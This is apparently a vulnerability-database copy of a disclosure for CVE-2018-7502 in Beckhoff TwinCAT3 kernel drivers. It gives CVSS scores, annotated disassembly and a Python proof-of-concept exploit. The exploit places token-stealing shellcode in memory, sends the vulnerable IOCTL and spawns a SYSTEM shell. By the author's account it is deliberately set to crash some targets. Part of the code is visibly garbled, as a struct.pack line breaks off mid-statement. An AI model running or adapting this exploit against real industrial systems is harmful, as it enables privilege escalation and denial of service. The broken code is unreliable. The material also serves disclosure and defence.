CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
31.6%
Vulnerability Details:
This vulnerability allows local attackers to execute arbitrary code on vulnerable installations of Beckoff TwinCAT3. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
The specific flaw exists when processing the 0x00222206 IOCTL in the following kernel drivers:
The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker could leverage this vulnerability to execute arbitrary code in the context of SYSTEM.
Affected Vendors:
Beckoff
Affected Products:
TwinCAT3
Vendor Response:
Beckoff has issued an update to correct these vulnerabilities. More details can be found at:
<https://download.beckhoff.com/download/Document/product-security/Advisories/advisory-2018-001.pdf>
"""
Beckoff TwinCAT3 Multiple Kernel Drivers Untrusted Pointer Dereference Privilege Escalation Vulnerabilities
Download: http://www.beckhoff.com/forms/twincat3/warenkorb.aspx?lg=en&title=TC31-Full-Setup.3.1.4022.2&version=3.1.4022.2
Affected Version: 3.1.4022.2
CVE: CVE-2018-7502
File: TC31-Full-Setup.3.1.4022.2.zip
SHA1: 29121120bf72cbee1298d7903921db93cfad6fb9
Summary:
========
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Beckoff TwinCAT3. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the processing of IOCTL 0x00222206 by the 19 different kernel drivers. The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker can leverage this vulnerability to escalate privilege to the level of SYSTEM.
Notes:
======
- This poc a sample exploit for Windows 7 sp1 x86. It will not work on any other platform without modification.
- Further exploitation can be done on Windows10 to bypass smep. We have a pointer to controlled data in edx which can be used to pivot the stack to disable smep.
- This poc will sometimes crash the target, I designed it like that on purpose, for fun :->
- This poc is for 19 vulnerabilities:
- TcAnalytics.sys
- TcCnc.sys
- TcIoBACnetR9.sys
- TcIoCCat.sys
- TcIoDrivers.sys
- TcIoECat.sys
- TcIoECatSimu.sys
- TcIoESlv.sys
- TcIoEth.sys
- TcIoEthIp.sys
- TcIoPNet.sys
- TcIotDrivers.sys
- TcNcObjects.sys
- TcPlc30.sys
- TcRouter.sys
- TcRtsObjects.sys
- TcIo.sys
- TcNc.sys
- TcRTime.sys
Static Analysis:
================
1. I'm only going to show the vulnerable code for TcAnalytics.sys, because this is **almost** mirrored code for the other 15 drivers:
- TcCnc.sys
- TcIoBACnetR9.sys
- TcIoCCat.sys
- TcIoDrivers.sys
- TcIoECat.sys
- TcIoECatSimu.sys
- TcIoESlv.sys
- TcIoEth.sys
- TcIoEthIp.sys
- TcIoPNet.sys
- TcIotDrivers.sys
- TcNcObjects.sys
- TcPlc30.sys
- TcRouter.sys
- TcRtsObjects.sys
When reaching the switch statement for the ioctl 0x00222206, we reach the following code block
.text:00054F5A loc_54F5A: ; CODE XREF: sub_54F30+23
.text:00054F5A ; DATA XREF: .text:off_55020
.text:00054F5A mov ecx, [ebx+10h] ; jumptable 00054F53 case 2236934
.text:00054F5D mov eax, [edi+4] ; edi is a pointer to our input buffer
.text:00054F60 mov edx, [ecx]
.text:00054F62 mov eax, [eax] ; we get the first dword...
.text:00054F64 push eax ; ...and place it as an argument to sub_54280
.text:00054F65 mov eax, [edx+24h] ; get the sub_54280 function
.text:00054F68 call eax ; calls sub_54280
In sub_54280, we find several untrusted pointer vulnerabilities, however, this report will just address one.
.text:00054280 sub_54280 proc near ; DATA XREF: .rdata:0005CCDC
.text:00054280 ; .rdata:0005CD78
.text:00054280
.text:00054280 var_28 = byte ptr -28h
.text:00054280 var_18 = dword ptr -18h
.text:00054280 var_14 = dword ptr -14h
.text:00054280 var_10 = dword ptr -10h
.text:00054280 var_C = dword ptr -0Ch
.text:00054280 var_8 = dword ptr -8
.text:00054280 var_4 = dword ptr -4
.text:00054280 arg_0 = dword ptr 8
.text:00054280
.text:00054280 push ebp
.text:00054281 mov ebp, esp
.text:00054283 mov edx, [ebp+arg_0] ; this value is under our control and is a fake struct
.text:00054286 sub esp, 28h
.text:00054289 mov eax, [edx+8] ; set a pointer @ +8
.text:0005428C push ebx
.text:0005428D push esi
.text:0005428E push edi
.text:0005428F push 0BF0Bh
.text:00054294 push eax ; push our controlled pointer to the stack
.text:00054295 mov eax, [edx+2Ch] ; set a fake function pointer
.text:00054298 mov ebx, ecx
.text:0005429A call eax ; eop via an indirect call
2. I'm only going to show the vulnerable code for TcIo.sys, because this is **almost** mirrored code for the other 2 drivers:
- TcNc.sys
- TcRTime.sys
When reaching the switch statement for the ioctl 0x00222206, we eventually reach the following code block in sub_5E510
.text:0005E55B loc_5E55B: ; CODE XREF: sub_5E510+45
.text:0005E55B mov ecx, [esi+4Ch] ; @esi is our source buffer
.text:0005E55E lea eax, [ebp+var_34]
.text:0005E561 push eax
.text:0005E562 mov eax, [ecx+8]
.text:0005E565 push eax
.text:0005E566 mov eax, [ecx+14h] ; get the function pointer
.text:0005E569 call eax ; eop via an indirect call
Thats a total of 19 vulnerable drivers within a single installation package.
Example:
========
c:\Users\Guest\Desktop>whoami
debugee\guest
c:\Users\Guest\Desktop>poc.py
[+] Beckoff TwinCAT3 <= 3.1
[+] TcPlc30.sys Untrusted Pointer Dereference EoP vulnerability
[+] Steven Seeley (mr_me) of Source Incite
[+] allocating input buffer
[+] allocating output buffer
[+] sending ioctl
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\Users\Guest\Desktop>whoami
nt authority\system
c:\Users\Guest\Desktop>
"""
import struct
from os import system
from sys import exit
from ctypes import *
from random import choice
from platform import release, architecture
kernel32 = windll.kernel32
ntdll = windll.ntdll
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0
def alloc(base, input_size, type):
print "[+] allocating %s buffer" % type
baseadd = c_int(base)
size = c_int(input_size)
input = struct.pack("|
input += "\x8b\x90\xf8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]
input += "\x89\x91\xf8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx
# --[ recover]
input += "\x61" # popad
# This is so we can take the jump at .text:000542A0 (jz loc_5456B)
input += "\x31\xc0" # xor eax, eax -> STATUS_SUCCESS
input += "\xc2\x08\x00\x00" # ret 0x8
input += "\xcc" * (input_size-len(input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "[-] error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
exit()
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
if write == 0:
print "[-] error while writing our %s buffer memory: %s" % (type, write)
exit()
def get_device_name():
"""
really, its like playing russian roulette
"""
return choice([
"TcAnalytics",
"TcCnc",
"TcIoBACnetR9",
"TcIoCCat",
"TcIoDrivers",
"TcIoECat",
"TcIoECatSimu",
"TcIoESlv",
"TcIoEth",
"TcIoEthIp",
"TcIoPNet",
"TcIotDrivers",
"TcNcObjects",
"TcPlc30",
"TcRouter",
"TcRtsObjects",
# these last 3 will dos the system :->
# feel free to write the exploits for them, I got lazy.
"TcIo",
"TcNc",
"TcRTime"
])
if __name__ == '__main__':
print "[+] Beckoff TwinCAT3 <= 3.1"
device = get_device_name()
print "[+] %s.sys Driver Untrusted Pointer Dereference EoP vulnerability" % device
print "[+] Steven Seeley (mr_me) of Source Incite"
if release() != "7" or architecture()[0] != "32bit":
print "(-) although this exploit may work on this system,"
print " it was only designed for Windows 7 x86."
sys.exit(-1)
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
IOCTL_VULN = 0x00222206
DEVICE_NAME = "\\\\.\\%s" % device
dwReturn = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
inputbuffer = 0x41414141
inputbuffer_size = 0x1000
outputbuffer_size = 0x1000
outputbuffer = 0x20000000
alloc(inputbuffer, inputbuffer_size, "input")
alloc(outputbuffer, outputbuffer_size, "output")
IoStatusBlock = c_ulong()
if driver_handle:
print "[+] sending ioctl"
dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
None,
None,
None,
byref(IoStatusBlock),
IOCTL_VULN,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size)
system("cmd.exe")
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
31.6%